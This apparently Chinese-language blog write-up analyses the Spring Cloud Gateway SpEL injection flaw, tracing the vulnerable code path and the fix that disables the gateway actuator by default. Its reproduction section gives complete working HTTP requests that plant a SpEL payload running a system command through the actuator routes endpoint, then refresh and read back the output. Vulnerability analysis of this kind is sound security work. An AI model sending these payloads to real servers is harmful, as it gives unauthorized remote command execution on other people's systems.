01 影响范围

  • Spring Cloud Gateway < 3.1.1
  • Spring Cloud Gateway < 3.0.7
  • 其他不再维护的老版本

02 SpEL表达式简介

Spring 表达式语言(简称“SpEL”)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于 Unified EL,但提供了额外的功能,最值得注意的是方法调用和基本的字符串模板功能。

它有多种方式去执行命令,这里写简单的一种利用,通过调用静态方法实现命令执行、T中为全类名

SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
spelExpressionParser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"open -na Calculator\")").getValue();

03 环境搭建:

github下载源码,我下载的是3.0.6版本

项目地址:https://github.com/spring-cloud/spring-cloud-gateway

项目中有sample项目,可以导入IDEA直接启动

spring cloud支持的语言 spring cloud 语言_spring cloud支持的语言

04 漏洞分析:

首先观察项目结构,项目中最主要的是server包中的内容

spring cloud支持的语言 spring cloud 语言_spring cloud支持的语言_02

在项目中搜索SpEL表达式的特征点,由图中可以看到在getValue()中会执行SpEL表达式,表达式为表达式模版类型,特征点为#{},接下来需要找entryValue是否可控

spring cloud支持的语言 spring cloud 语言_网络安全_03

在同一个类中的normalize方法中就会调用getValue,参数为args

spring cloud支持的语言 spring cloud 语言_java_04


spring cloud支持的语言 spring cloud 语言_java_05

normalizeProperties中调用了normalize,并将properties传入,properties就是要解析执行的SpEL表达式,而properties又在properties()中赋值,接下来就是找哪里调用了properties(),只要能够设置这个值为想要的值,下次访问触发就可以执行对应的表达式

spring cloud支持的语言 spring cloud 语言_github_06


spring cloud支持的语言 spring cloud 语言_spring_07

filterpredicate的加载中找到了设置值的地方

spring cloud支持的语言 spring cloud 语言_网络安全_08


spring cloud支持的语言 spring cloud 语言_spring cloud支持的语言_09

中间还有一些调用这里就不写了,两个函数最终都是getRoutes触发,执行SpEL表达式也会在getRoutes中调用

spring cloud支持的语言 spring cloud 语言_网络安全_10

经过代码的直接查找与调试,发现在查看路由以及刷新路由时都会调用getRoutes

spring cloud支持的语言 spring cloud 语言_网络安全_11


spring cloud支持的语言 spring cloud 语言_github_12


到这里就大概知道如何利用漏洞了,通过添加filter或者predicate让对应的properties赋值,然后再访问获取路由从而触发SpEL表达式的解析执行,最终触发漏洞。其实在进行添加的过程中就会进行表达式的解析,因为操作都在getRoutes中,但是如果要获取命令执行的结果的话就需要获取具体的执行结果,需要返回对应的路由详情查看。

参考Spring Cloud Gateway官方文档,获取程序执行流程、添加路由、获取路由的方法等

执行流程中写明了访问路由时就会调用调用过滤器,和上面我们分析到的相同,只是发现在查询路由的时候predicates也会进行SpEL表达式解析执行。

spring cloud支持的语言 spring cloud 语言_java_13

官方文档中也写明了路由的添加、查看与刷新操作,具体的操作内容请移步到官方文档查看。

再回到代码中,查看添加路由的代码,将POST请求的route信息传入Mono形成Mono对象,这个之前不太了解,简单来讲就是将数据存储到这个序列,并执行了一些添加路由的操作,但是发现没有之前分析的添加propertiesgetRoutes方法,因此这里只是进行了存储,并没有将路由信息真正的进行添加。

spring cloud支持的语言 spring cloud 语言_spring_14

而在refresh操作中,通过动态调试发现会执行到getRoute方法,而这个方法之前也说了会进行设置filterpredicate的操作,同时也会进行解析对应的value值,执行对应的payload,只是不返回结果

spring cloud支持的语言 spring cloud 语言_java_15

如果要获取命令执行结果,可以直接检索所有的路由,使用GET请求进行访问

spring cloud支持的语言 spring cloud 语言_网络安全_16

综上所述,获取命令执行结果的步骤为

1、POST请求添加路由,payload放在filter或者predicate中都可以

2、POST请求刷新路由,将路由进行添加,同时也会执行命令

3、GET方法检索所有路由,返回命令执行结果(前提是可回显的payload)

05 漏洞复现:

1、添加路由,设置filter

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

也可以设置predicate

{
  "id": "hacktest",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
  }],
  "uri": "http://example.com"
}

2、刷新路由

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

3、检索路由,得到命令执行结果,可以检索指定路由,也可以检索全部路由,当检索指定路由报错时可以检索全部内容获取,路径为:/actuator/gateway/routes

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

spring cloud支持的语言 spring cloud 语言_java_17

06 补丁分析:

查看github提交记录

https://github.com/spring-cloud/spring-cloud-gateway/commit/25fb7475a766345928a86652f0d56b771018b483

发现默认了禁用网关执行器

spring cloud支持的语言 spring cloud 语言_spring cloud支持的语言_18


原来的注解中默认开启网关执行器,当关闭了网关执行器后便不会执行SpEL表达式了

spring cloud支持的语言 spring cloud 语言_spring cloud支持的语言_19